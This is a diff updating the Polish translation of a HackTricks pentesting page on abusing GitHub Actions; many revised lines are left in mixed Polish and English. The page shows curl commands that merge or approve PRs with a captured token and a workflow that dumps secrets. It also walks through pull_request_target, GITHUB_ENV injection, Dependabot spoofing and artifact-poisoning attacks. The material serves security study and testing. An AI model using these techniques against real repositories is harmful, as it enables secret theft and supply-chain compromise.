Translated ['', 'src/pentesting-ci-cd/github-security/abusing-github-act

src/pentesting-ci-cd/github-security/abusing-github-actions/README.md

@@ -1,58 +1,58 @@
-# Wykorzystywanie Github Actions
+# Nadużywanie Github Actions
 
 {{#include ../../../banners/hacktricks-training.md}}
 
 ## Narzędzia
 
-Następujące narzędzia są przydatne do znajdowania workflow Github Action, a nawet do znajdowania podatnych:
+The following tools are useful to find Github Action workflows and even find vulnerable ones:
 
 - [https://github.com/CycodeLabs/raven](https://github.com/CycodeLabs/raven)
 - [https://github.com/praetorian-inc/gato](https://github.com/praetorian-inc/gato)
 - [https://github.com/AdnaneKhan/Gato-X](https://github.com/AdnaneKhan/Gato-X)
 - [https://github.com/carlospolop/PurplePanda](https://github.com/carlospolop/PurplePanda)
-- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Sprawdź także jego listę kontrolną w [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
+- [https://github.com/zizmorcore/zizmor](https://github.com/zizmorcore/zizmor) - Check also its checklist in [https://docs.zizmor.sh/audits](https://docs.zizmor.sh/audits)
 
 ## Podstawowe informacje
 
 Na tej stronie znajdziesz:
 
-- **Podsumowanie wszystkich skutków** ataku, który zdołał uzyskać dostęp do Github Action
-- Różne sposoby na **uzyskanie dostępu do akcji**:
-- Posiadanie **uprawnień** do tworzenia akcji
-- Wykorzystywanie wyzwalaczy związanych z **pull request**
-- Wykorzystywanie **innych technik zewnętrznego dostępu**
-- **Pivoting** z już skompromitowanego repozytorium
-- Na koniec sekcja o **technikach post-exploitation do wykorzystywania akcji od wewnątrz** (powodując wspomniane skutki)
+- A **summary of all the impacts** of an attacker managing to access a Github Action
+- Różne sposoby, aby **uzyskać dostęp do akcji**:
+- Posiadanie **permissions** do utworzenia akcji
+- Nadużywanie triggerów związanych z **pull request**
+- Nadużywanie **other external access** techniques
+- **Pivoting** z już skompromitowanego repo
+- Na koniec sekcja o **post-exploitation techniques to abuse an action from inside** (wywołać wymienione skutki)
 
 ## Podsumowanie skutków
 
-Aby uzyskać wprowadzenie do [**Github Actions sprawdź podstawowe informacje**](../basic-github-information.md#github-actions).
+For an introduction about [**Github Actions check the basic information**](../basic-github-information.md#github-actions).
 
-Jeśli możesz **wykonywać dowolny kod w GitHub Actions** w ramach **repozytorium**, możesz być w stanie:
+Jeśli możesz **execute arbitrary code in GitHub Actions** w ramach **repository**, możesz być w stanie:
 
-- **Kraść sekrety** zamontowane w pipeline i **wykorzystywać uprawnienia pipeline** do uzyskania nieautoryzowanego dostępu do zewnętrznych platform, takich jak AWS i GCP.
-- **Kompromitować wdrożenia** i inne **artefakty**.
-- Jeśli pipeline wdraża lub przechowuje zasoby, możesz zmienić końcowy produkt, umożliwiając atak na łańcuch dostaw.
-- **Wykonywać kod w niestandardowych workerach** w celu wykorzystania mocy obliczeniowej i pivotowania do innych systemów.
-- **Nadpisywać kod repozytorium**, w zależności od uprawnień związanych z `GITHUB_TOKEN`.
+- **Steal secrets** zamontowane w pipeline i **abuse the pipeline's privileges** aby uzyskać nieautoryzowany dostęp do zewnętrznych platform, takich jak AWS i GCP.
+- **Compromise deployments** i inne **artifacts**.
+- Jeśli pipeline wdraża lub przechowuje zasoby, możesz zmodyfikować finalny produkt, umożliwiając supply chain attack.
+- **Execute code in custom workers** aby nadużyć mocy obliczeniowej i pivotować do innych systemów.
+- **Overwrite repository code**, w zależności od uprawnień związanych z `GITHUB_TOKEN`.
 
 ## GITHUB_TOKEN
 
-Ten "**sekret**" (pochodzący z `${{ secrets.GITHUB_TOKEN }}` i `${{ github.token }}`) jest przyznawany, gdy administrator włącza tę opcję:
+This "**secret**" (coming from `${{ secrets.GITHUB_TOKEN }}` and `${{ github.token }}`) is given when the admin enables this option:
 
 <figure><img src="../../../images/image (86).png" alt=""><figcaption></figcaption></figure>
 
-Ten token jest tym samym, który **aplikacja Github będzie używać**, więc może uzyskiwać dostęp do tych samych punktów końcowych: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
+This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
 
 > [!WARNING]
-> Github powinien wydać [**przepływ**](https://github.com/github/roadmap/issues/74), który **pozwala na dostęp między repozytoriami** w GitHub, aby repozytorium mogło uzyskiwać dostęp do innych wewnętrznych repozytoriów za pomocą `GITHUB_TOKEN`.
+> Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`.
 
-Możesz zobaczyć możliwe **uprawnienia** tego tokena w: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
+Możesz zobaczyć możliwe **permissions** tego tokena pod adresem: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
 
-Zauważ, że token **wygasa po zakończeniu zadania**.\
-Te tokeny wyglądają tak: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
+Zauważ, że token **expires after the job has completed**.\
+Takie tokeny wyglądają tak: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
 
-Niektóre interesujące rzeczy, które możesz zrobić z tym tokenem:
+Kilka ciekawych rzeczy, które możesz zrobić z tym tokenem:
 
 {{#tabs }}
 {{#tab name="Merge PR" }}
@@ -66,7 +66,7 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
 -d "{\"commit_title\":\"commit_title\"}"
 ```
 {{#endtab }}
-{{#tab name="Zatwierdź PR" }}
+{{#tab name="Approve PR" }}
 ```bash
 # Approve a PR
 curl -X POST \
@@ -77,7 +77,7 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
 -d '{"event":"APPROVE"}'
 ```
 {{#endtab }}
-{{#tab name="Utwórz PR" }}
+{{#tab name="Create PR" }}
 ```bash
 # Create a PR
 curl -X POST \
@@ -91,11 +91,11 @@ https://api.github.com/repos/<org_name>/<repo_name>/pulls \
 {{#endtabs }}
 
 > [!CAUTION]
-> Zauważ, że w kilku przypadkach będziesz mógł znaleźć **tokeny użytkowników githuba w zmiennych środowiskowych Github Actions lub w sekretnych**. Te tokeny mogą dać ci więcej uprawnień do repozytorium i organizacji.
+> Zwróć uwagę, że w niektórych przypadkach możesz znaleźć **github user tokens inside Github Actions envs or in the secrets**. Te tokeny mogą dać ci większe uprawnienia w repozytorium i organizacji.
 
 <details>
 
-<summary>Lista sekretów w wyjściu Github Action</summary>
+<summary>Wyświetl sekrety w output Github Action</summary>
 ```yaml
 name: list_env
 on:
@@ -121,7 +121,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 
 <details>
 
-<summary>Uzyskaj odwrotną powłokę z tajemnicami</summary>
+<summary>Uzyskaj reverse shell przy użyciu secrets</summary>
 ```yaml
 name: revshell
 on:
@@ -144,26 +144,29 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 ```
 </details>
 
-Możliwe jest sprawdzenie uprawnień nadanych tokenowi Github w repozytoriach innych użytkowników **sprawdzając logi** akcji:
+Można sprawdzić uprawnienia przyznane Github Token w repozytoriach innych użytkowników, **sprawdzając logi** akcji:
 
 <figure><img src="../../../images/image (286).png" alt="" width="269"><figcaption></figcaption></figure>
 
-## Dozwolone Wykonanie
+## Dozwolone wykonanie
 
 > [!NOTE]
-> To byłby najłatwiejszy sposób na kompromitację akcji Github, ponieważ ten przypadek zakłada, że masz dostęp do **utworzenia nowego repozytorium w organizacji** lub masz **uprawnienia do zapisu w repozytorium**.
+> Byłby to najprostszy sposób na przejęcie Github actions, ponieważ ten przypadek zakłada, że masz dostęp do **create a new repo in the organization**, albo masz **write privileges over a repository**.
 >
-> Jeśli jesteś w tym scenariuszu, możesz po prostu sprawdzić [techniki post-eksploatacji](#post-exploitation-techniques-from-inside-an-action).
+> Jeśli znajdujesz się w takim scenariuszu, możesz po prostu sprawdzić [Post Exploitation techniques](#post-exploitation-techniques-from-inside-an-action).
 
-### Wykonanie z Utworzenia Repozytorium
+### Wykonanie poprzez utworzenie repozytorium
 
-W przypadku, gdy członkowie organizacji mogą **tworzyć nowe repozytoria** i możesz wykonywać akcje github, możesz **utworzyć nowe repozytorium i ukraść sekrety ustawione na poziomie organizacji**.
+Jeżeli członkowie organizacji mogą **create new repos** i możesz uruchamiać github actions, możesz **create a new repo and steal the secrets set at organization level**.
 
-### Wykonanie z Nowej Gałęzi
+### Wykonanie z nowej gałęzi
 
-Jeśli możesz **utworzyć nową gałąź w repozytorium, które już zawiera skonfigurowaną akcję Github**, możesz ją **zmodyfikować**, **załadować** zawartość, a następnie **wykonać tę akcję z nowej gałęzi**. W ten sposób możesz **wyeksfiltrować sekrety na poziomie repozytorium i organizacji** (ale musisz wiedzieć, jak się nazywają).
+Jeśli możesz **create a new branch in a repository that already contains a Github Action** skonfigurowaną, możesz ją **modify**, **upload** zawartość, a następnie **execute that action from the new branch**. W ten sposób możesz **exfiltrate repository and organization level secrets** (ale musisz wiedzieć, jak się one nazywają).
 
-Możesz uczynić zmodyfikowaną akcję wykonalną **ręcznie,** gdy **PR zostanie utworzony** lub gdy **jakikolwiek kod zostanie przesłany** (w zależności od tego, jak głośny chcesz być):
+> [!WARNING]
+> Jakiekolwiek ograniczenie zaimplementowane wyłącznie wewnątrz workflow YAML (na przykład, `on: push: branches: [main]`, job conditionals, lub manual gates) może być edytowane przez współpracowników. Bez zewnętrznego egzekwowania (branch protections, protected environments, and protected tags), współpracownik może przekierować workflow, aby uruchomić je na swojej gałęzi i nadużyć zamontowanych secrets/permissions.
+
+Możesz sprawić, że zmodyfikowana akcja będzie wykonywalna **manually,** gdy **PR is created** lub gdy **some code is pushed** (w zależności od tego, jak głośno chcesz działać):
 ```yaml
 on:
 workflow_dispatch: # Launch manually
@@ -177,49 +180,49 @@ branches:
 ```
 ---
 
-## Forked Execution
+## Wykonanie z forka
 
 > [!NOTE]
-> Istnieją różne wyzwalacze, które mogą pozwolić atakującemu na **wykonanie Github Action z innego repozytorium**. Jeśli te wyzwalane akcje są źle skonfigurowane, atakujący może być w stanie je skompromitować.
+> Istnieją różne wyzwalacze, które mogą pozwolić atakującemu na **execute a Github Action of another repository**. Jeśli te wyzwalacze są źle skonfigurowane, atakujący może je przejąć.
 
 ### `pull_request`
 
-Wyzwalacz workflow **`pull_request`** uruchomi workflow za każdym razem, gdy otrzymany zostanie pull request z pewnymi wyjątkami: domyślnie, jeśli to **pierwszy raz**, gdy **współpracujesz**, niektórzy **utrzymujący** będą musieli **zatwierdzić** **wykonanie** workflow:
+Wyzwalacz workflow **`pull_request`** uruchomi workflow za każdym razem, gdy zostanie otrzymane pull request, z pewnymi wyjątkami: domyślnie, jeśli to jest **pierwszy raz**, że współpracujesz, jakiś **maintainer** będzie musiał **zatwierdzić** **uruchomienie** workflow:
 
 <figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>
 
 > [!NOTE]
-> Ponieważ **domyślne ograniczenie** dotyczy **pierwszych** współpracowników, możesz przyczynić się do **naprawy ważnego błędu/ortografii**, a następnie wysłać **inne PR-y, aby nadużyć swoich nowych uprawnień `pull_request`**.
+> Ponieważ **domyślne ograniczenie** dotyczy **pierwszych** contributorów, możesz przyczynić się, **poprawiając prawdziwy bug/typo**, a następnie wysyłać **inne PRy, aby nadużyć swoich nowych uprawnień `pull_request`**.
 >
-> **Testowałem to i to nie działa**: ~~Inną opcją byłoby stworzenie konta o nazwie kogoś, kto przyczynił się do projektu i usunął jego konto.~~
+> **Przetestowałem to i to nie działa**: ~~Another option would be to create an account with the name of someone that contributed to the project and deleted his account.~~
 
-Ponadto, domyślnie **zapobiega uprawnieniom do zapisu** i **dostępowi do sekretów** w docelowym repozytorium, jak wspomniano w [**dokumentacji**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
+Co więcej, domyślnie zabrania nadawania uprawnień zapisu i dostępu do sekretów w repozytorium docelowym, jak wspomniano w [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
 
-> Z wyjątkiem `GITHUB_TOKEN`, **sekrety nie są przekazywane do runnera**, gdy workflow jest wyzwalany z **forkowanego** repozytorium. **`GITHUB_TOKEN` ma uprawnienia tylko do odczytu** w pull requestach **z forkowanych repozytoriów**.
+> Z wyjątkiem `GITHUB_TOKEN`, **sekrety nie są przekazywane do runnera** gdy workflow jest wywoływany z **forked** repozytorium. **`GITHUB_TOKEN` ma uprawnienia tylko do odczytu** w pull requestach **z forked repositories**.
 
-Atakujący mógłby zmodyfikować definicję Github Action, aby wykonać dowolne rzeczy i dodać dowolne akcje. Jednak nie będzie w stanie ukraść sekretów ani nadpisać repozytorium z powodu wspomnianych ograniczeń.
+Atakujący mógłby zmodyfikować definicję Github Action, żeby wykonywać dowolne rzeczy i dołączać arbitralne akcje. Jednak nie będzie w stanie ukraść sekretów ani nadpisać repo z powodu wspomnianych ograniczeń.
 
 > [!CAUTION]
-> **Tak, jeśli atakujący zmieni w PR github action, która zostanie wyzwolona, jego Github Action będzie używana, a nie ta z repozytorium źródłowego!**
+> **Tak — jeśli atakujący zmieni w PR Github Action, która ma zostać uruchomiona, to jego Github Action będzie użyta, a nie ta z repo źródłowego!**
 
-Ponieważ atakujący kontroluje również kod, który jest wykonywany, nawet jeśli nie ma sekretów ani uprawnień do zapisu na `GITHUB_TOKEN`, atakujący mógłby na przykład **przesłać złośliwe artefakty**.
+Ponieważ atakujący kontroluje także wykonywany kod, nawet jeśli nie ma sekretów ani uprawnień zapisu do `GITHUB_TOKEN`, atakujący może np. **upload malicious artifacts**.
 
 ### **`pull_request_target`**
 
-Wyzwalacz workflow **`pull_request_target`** ma **uprawnienia do zapisu** w docelowym repozytorium i **dostęp do sekretów** (i nie prosi o pozwolenie).
+Wyzwalacz workflow **`pull_request_target`** ma **write permission** do repozytorium docelowego oraz **access to secrets** (i nie wymaga zatwierdzenia).
 
-Zauważ, że wyzwalacz workflow **`pull_request_target`** **działa w kontekście bazowym** i nie w tym, który jest podany przez PR (aby **nie wykonywać nieufnego kodu**). Aby uzyskać więcej informacji na temat `pull_request_target`, [**sprawdź dokumentację**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
-Ponadto, aby uzyskać więcej informacji na temat tego konkretnego niebezpiecznego użycia, sprawdź ten [**post na blogu githuba**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
+Zauważ, że wyzwalacz workflow **`pull_request_target`** **uruchamia się w kontekście bazowym** a nie w tym dostarczonym przez PR (żeby **nie wykonywać niesprawdzonego kodu**). For more info about `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
+Moreover, for more info about this specific dangerous use check this [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
 
-Może się wydawać, że ponieważ **wykonywany workflow** jest tym zdefiniowanym w **bazie** i **nie w PR**, jest **bezpieczne** używanie **`pull_request_target`**, ale istnieje **kilka przypadków, w których tak nie jest**.
+Może się wydawać, że ponieważ **uruchamiany workflow** jest tym zdefiniowanym w **base**, a **nie w PR**, użycie **`pull_request_target`** jest **bezpieczne**, ale istnieje **kilka przypadków, w których tak nie jest**.
 
-A ten będzie miał **dostęp do sekretów**.
+A ten będzie miał **access to secrets**.
 
 ### `workflow_run`
 
-Wyzwalacz [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) pozwala na uruchomienie workflow z innego, gdy jest `completed`, `requested` lub `in_progress`.
+The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger allows to run a workflow from a different one when it's `completed`, `requested` or `in_progress`.
 
-W tym przykładzie workflow jest skonfigurowany do uruchomienia po zakończeniu oddzielnego workflow "Run Tests":
+W tym przykładzie workflow jest skonfigurowany tak, aby uruchamiać się po zakończeniu osobnego "Run Tests" workflow:
 ```yaml
 on:
 workflow_run:
@@ -227,29 +230,29 @@ workflows: [Run Tests]
 types:
 - completed
 ```
-Moreover, according to the docs: Workflow uruchomiony przez zdarzenie `workflow_run` ma możliwość **dostępu do sekretów i zapisywania tokenów, nawet jeśli poprzedni workflow nie miał**.
+Co więcej, zgodnie z dokumentacją: workflow uruchomiony przez zdarzenie `workflow_run` może **uzyskać dostęp do sekretów i zapisywać tokeny, nawet jeśli poprzedni workflow tego nie mógł**.
 
-Tego rodzaju workflow może być zaatakowany, jeśli **zależy** od **workflow**, który może być **wyzwolony** przez zewnętrznego użytkownika za pomocą **`pull_request`** lub **`pull_request_target`**. Kilka podatnych przykładów można [**znaleźć w tym blogu**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Pierwszy z nich polega na tym, że **workflow_run** wyzwolony przez workflow pobiera kod atakującego: `${{ github.event.pull_request.head.sha }}`\
-Drugi polega na **przekazywaniu** **artefaktu** z **niezaufanego** kodu do workflow **`workflow_run`** i używaniu zawartości tego artefaktu w sposób, który czyni go **podatnym na RCE**.
+Taki workflow może być zaatakowany, jeśli **zależy** od **workflow**, który może zostać **wyzwolony** przez zewnętrznego użytkownika za pomocą **`pull_request`** lub **`pull_request_target`**. Kilka podatnych przykładów można znaleźć w [**tym blogu**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** Pierwszy polega na tym, że workflow uruchamiany przez **`workflow_run`** pobiera kod atakującego: `${{ github.event.pull_request.head.sha }}`.  
+Drugi polega na **przekazaniu** **artefaktu** z **niezaufanego** kodu do workflow **`workflow_run`** i użyciu zawartości tego artefaktu w sposób, który czyni go **podatnym na RCE**.
 
 ### `workflow_call`
 
 TODO
 
-TODO: Sprawdź, czy podczas wykonywania z `pull_request` używany/pobierany kod pochodzi z oryginału czy z forka PR
+TODO: Sprawdzić, czy gdy jest uruchamiany z pull_request używany/pobrany kod pochodzi z repozytorium źródłowego czy z forka PR
 
-## Wykorzystywanie Wykonania Forka
+## Nadużywanie wykonania z forków
 
-Wspomnieliśmy o wszystkich sposobach, w jakie zewnętrzny atakujący mógłby zmusić workflow GitHub do wykonania, teraz przyjrzyjmy się, jak te wykonania, jeśli są źle skonfigurowane, mogą być wykorzystywane:
+Wspomnieliśmy wszystkie sposoby, w jakie zewnętrzny atakujący może spowodować uruchomienie workflow GitHub; teraz przyjrzyjmy się, jak takie uruchomienia, jeśli są źle skonfigurowane, mogą być nadużyte:
 
-### Wykonanie niezaufanego checkoutu
+### Wykonanie checkoutu z niezatwierdzonego źródła
 
-W przypadku **`pull_request`** workflow będzie wykonywane w **kontekście PR** (więc wykona **złośliwy kod PR**), ale ktoś musi **najpierw to autoryzować** i będzie działać z pewnymi [ograniczeniami](#pull_request).
+W przypadku **`pull_request`** workflow zostanie wykonany w **kontekście PR** (czyli wykona **złośliwy kod PR**), ale ktoś musi go najpierw **autoryzować** i będzie działał z pewnymi [ograniczeniami](#pull_request).
 
-W przypadku workflow używającego **`pull_request_target` lub `workflow_run`**, który zależy od workflow, który może być wyzwolony z **`pull_request_target` lub `pull_request`**, kod z oryginalnego repozytorium zostanie wykonany, więc **atakujący nie może kontrolować wykonanego kodu**.
+W przypadku workflow używającego **`pull_request_target` or `workflow_run`**, który zależy od workflow, który może być wyzwolony przez **`pull_request_target` or `pull_request`**, zostanie wykonany kod z oryginalnego repozytorium, więc **atakujący nie może kontrolować wykonywanego kodu**.
 
 > [!CAUTION]
-> Jednak jeśli **akcja** ma **wyraźny checkout PR**, który **pobierze kod z PR** (a nie z bazy), użyje kodu kontrolowanego przez atakującego. Na przykład (sprawdź linię 12, gdzie kod PR jest pobierany):
+> Jednak, jeśli **action** ma **jawny checkout PR**, który **pobrać kod z PR** (a nie z base), użyje kodu kontrolowanego przez atakującego. Na przykład (sprawdź linię 12 gdzie pobierany jest kod PR):
 
 <pre class="language-yaml"><code class="lang-yaml"># INSECURE. Provided as an example only.
 on:
@@ -279,32 +282,32 @@ message: |
 Thank you!
 </code></pre>
 
-Potencjalnie **niezaufany kod jest uruchamiany podczas `npm install` lub `npm build`**, ponieważ skrypty budujące i odwołane **pakiety są kontrolowane przez autora PR**.
+Potencjalnie **niezaufany kod jest uruchamiany podczas `npm install` lub `npm build`**, ponieważ skrypty builda i odwoływane pakiety są kontrolowane przez autora PR.
 
 > [!WARNING]
-> Dork GitHub do wyszukiwania podatnych akcji to: `event.pull_request pull_request_target extension:yml`, jednak istnieją różne sposoby konfigurowania zadań do wykonywania w sposób bezpieczny, nawet jeśli akcja jest skonfigurowana niebezpiecznie (jak używanie warunków dotyczących tego, kto jest aktorem generującym PR).
+> GitHub dork do wyszukiwania podatnych actionów to: `event.pull_request pull_request_target extension:yml` jednak istnieją różne sposoby skonfigurowania jobów, tak aby były wykonywane bezpiecznie nawet jeśli action jest skonfigurowana niebezpiecznie (np. używając warunków dotyczących tego, kto jest aktorem generującym PR).
 
 ### Wstrzyknięcia skryptów kontekstowych <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
 
-Zauważ, że istnieją pewne [**konteksty GitHub**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context), których wartości są **kontrolowane** przez **użytkownika** tworzącego PR. Jeśli akcja GitHub używa tych **danych do wykonania czegokolwiek**, może to prowadzić do **wykonywania dowolnego kodu:**
+Zwróć uwagę, że istnieją pewne [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context), których wartości są **kontrolowane** przez **użytkownika** tworzącego PR. Jeśli github action używa tych **danych do wykonania czegokolwiek**, może to doprowadzić do **dowolnego wykonania kodu:**
 
 {{#ref}}
 gh-actions-context-script-injections.md
 {{#endref}}
 
-### **Wstrzyknięcie skryptu GITHUB_ENV** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
+### **GITHUB_ENV Wstrzyknięcie skryptu** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
 
-Z dokumentacji: Możesz udostępnić **zmienną środowiskową dla wszystkich kolejnych kroków** w zadaniu workflow, definiując lub aktualizując zmienną środowiskową i zapisując ją w pliku środowiskowym **`GITHUB_ENV`**.
+Zgodnie z dokumentacją: Możesz udostępnić **zmienną środowiskową dla dowolnych kolejnych kroków** w jobie workflow, definiując lub aktualizując zmienną środowiskową i zapisując to do pliku środowiskowego **`GITHUB_ENV`**.
 
-Jeśli atakujący mógłby **wstrzyknąć dowolną wartość** do tej **zmiennej env**, mógłby wstrzyknąć zmienne środowiskowe, które mogłyby wykonać kod w kolejnych krokach, takie jak **LD_PRELOAD** lub **NODE_OPTIONS**.
+Jeżeli atakujący będzie mógł **wstrzyknąć dowolną wartość** do tej zmiennej środowiskowej, mógłby wstrzyknąć zmienne środowiskowe, które umożliwią wykonanie kodu w kolejnych krokach, takie jak **LD_PRELOAD** lub **NODE_OPTIONS**.
 
-Na przykład ([**to**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) i [**to**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), wyobraź sobie workflow, który ufa przesłanemu artefaktowi, aby przechować jego zawartość w zmiennej środowiskowej **`GITHUB_ENV`**. Atakujący mógłby przesłać coś takiego, aby to skompromitować:
+Na przykład ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) i [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), wyobraź sobie workflow, który ufa przesłanemu artefaktowi, aby zapisać jego zawartość w zmiennej środowiskowej **`GITHUB_ENV`**. Atakujący mógłby przesłać coś takiego, aby to skompromitować:
 
 <figure><img src="../../../images/image (261).png" alt=""><figcaption></figcaption></figure>
 
 ### Dependabot i inne zaufane boty
 
-Jak wskazano w [**tym poście na blogu**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), kilka organizacji ma akcję GitHub, która scala każdy PRR z `dependabot[bot]`, jak w:
+Jak wskazano w [**tym wpisie na blogu**](https://boostsecurity.io/blog/weaponizing-dependabot-pwn-request-at-its-finest), kilka organizacji ma Github Action, która scala każdy PRR od `dependabot[bot]` jak w:
 ```yaml
 on: pull_request_target
 jobs:
@@ -314,16 +317,16 @@ if: ${ { github.actor == 'dependabot[bot]' }}
 steps:
 - run: gh pr merge $ -d -m
 ```
-Który jest problemem, ponieważ pole `github.actor` zawiera użytkownika, który spowodował ostatnie zdarzenie, które uruchomiło workflow. Istnieje kilka sposobów, aby użytkownik `dependabot[bot]` mógł zmodyfikować PR. Na przykład:
+To stanowi problem, ponieważ pole `github.actor` zawiera użytkownika, który spowodował ostatnie zdarzenie wywołujące workflow. Istnieje kilka sposobów, by spowodować, że użytkownik `dependabot[bot]` zmodyfikuje PR. Na przykład:
 
-- Forkuj repozytorium ofiary
-- Dodaj złośliwy ładunek do swojej kopii
-- Włącz Dependabot w swoim forku, dodając przestarzałą zależność. Dependabot utworzy gałąź naprawiającą zależność z złośliwym kodem.
-- Otwórz Pull Request do repozytorium ofiary z tej gałęzi (PR zostanie utworzony przez użytkownika, więc na razie nic się nie wydarzy)
-- Następnie atakujący wraca do początkowego PR, który Dependabot otworzył w swoim forku i uruchamia `@dependabot recreate`
-- Następnie Dependabot wykonuje pewne działania w tej gałęzi, które modyfikują PR w repozytorium ofiary, co sprawia, że `dependabot[bot]` jest aktorem ostatniego zdarzenia, które uruchomiło workflow (a zatem, workflow się uruchamia).
+- Fork repozytorium ofiary
+- Dodaj złośliwy payload do swojej kopii
+- Włącz Dependabot w swoim forku, dodając przestarzałą zależność. Dependabot utworzy branch naprawiający zależność z złośliwym kodem.
+- Otwórz Pull Request do repozytorium ofiary z tej gałęzi (PR zostanie utworzony przez użytkownika, więc na razie nic się nie stanie)
+- Następnie atakujący wraca do początkowego PR, który Dependabot otworzył w jego forku i uruchamia `@dependabot recreate`
+- Następnie Dependabot wykonuje pewne akcje na tej gałęzi, które modyfikują PR w repozytorium ofiary, co sprawia, że `dependabot[bot]` staje się aktorem ostatniego zdarzenia wywołującego workflow (i w związku z tym workflow zostaje uruchomiony).
 
-Przechodząc dalej, co by było, gdyby zamiast łączenia Github Action miało wstrzyknięcie polecenia, jak w:
+Idąc dalej — co jeśli zamiast merge'owania, Github Action miałby command injection, jak w:
 ```yaml
 on: pull_request_target
 jobs:
@@ -333,24 +336,24 @@ if: ${ { github.actor == 'dependabot[bot]' }}
 steps:
 - run: echo ${ { github.event.pull_request.head.ref }}
 ```
-Well, oryginalny post na blogu proponuje dwie opcje nadużycia tego zachowania, z których drugą jest:
+Cóż, oryginalny wpis na blogu proponuje dwie opcje nadużycia tego zachowania, z których druga to:
 
-- Forkowanie repozytorium ofiary i włączenie Dependabot z jakąś przestarzałą zależnością.
-- Utworzenie nowej gałęzi z złośliwym kodem wstrzyknięcia powłoki.
-- Zmiana domyślnej gałęzi repozytorium na tę.
-- Utworzenie PR z tej gałęzi do repozytorium ofiary.
-- Uruchomienie `@dependabot merge` w PR, który Dependabot otworzył w swoim forku.
-- Dependabot połączy swoje zmiany w domyślnej gałęzi twojego forka, aktualizując PR w repozytorium ofiary, czyniąc teraz `dependabot[bot]` aktorem ostatniego zdarzenia, które uruchomiło workflow, używając złośliwej nazwy gałęzi.
+- Fork the victim repository and enable Dependabot with some outdated dependency.
+- Create a new branch with the malicious shell injeciton code.
+- Change the default branch of the repo to that one
+- Create a PR from this branch to the victim repository.
+- Run `@dependabot merge` in the PR Dependabot opened in his fork.
+- Dependabot will merge his changes in the default branch of your forked repository, updating the PR in the victim repository making now the `dependabot[bot]` the actor of the latest event that triggered the workflow and using a malicious branch name.
 
-### Wrażliwe działania Github Actions osób trzecich
+### Podatne Github Actions stron trzecich
 
 #### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
 
-Jak wspomniano w [**tym poście na blogu**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), ta akcja Github pozwala na dostęp do artefaktów z różnych workflow, a nawet repozytoriów.
+Jak wspomniano w [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), ta Github Action pozwala uzyskać dostęp do artifacts z różnych workflows, a nawet repositories.
 
-Problem polega na tym, że jeśli parametr **`path`** nie jest ustawiony, artefakt jest wyodrębniany w bieżącym katalogu i może nadpisywać pliki, które mogą być później używane lub nawet wykonywane w workflow. Dlatego, jeśli artefakt jest wrażliwy, atakujący może to wykorzystać do skompromitowania innych workflow, które ufają artefaktowi.
+Problem polega na tym, że jeśli parametr **`path`** nie jest ustawiony, artifact zostanie rozpakowany w bieżącym katalogu i może nadpisać pliki, które później mogą być użyte lub nawet wykonane w workflow. W związku z tym, jeśli Artifact jest podatny, atakujący może to wykorzystać do kompromitacji innych workflows, które ufają temu Artifact.
 
-Przykład wrażliwego workflow:
+Example of vulnerable workflow:
 ```yaml
 on:
 workflow_run:
@@ -373,7 +376,7 @@ with:
 name: artifact
 path: ./script.py
 ```
-To można zaatakować za pomocą tego przepływu pracy:
+To można zaatakować przy użyciu tego workflow:
 ```yaml
 name: "some workflow"
 on: pull_request
@@ -392,33 +395,33 @@ path: ./script.py
 
 ## Inny dostęp zewnętrzny
 
-### Przejęcie usuniętego repozytorium namespace
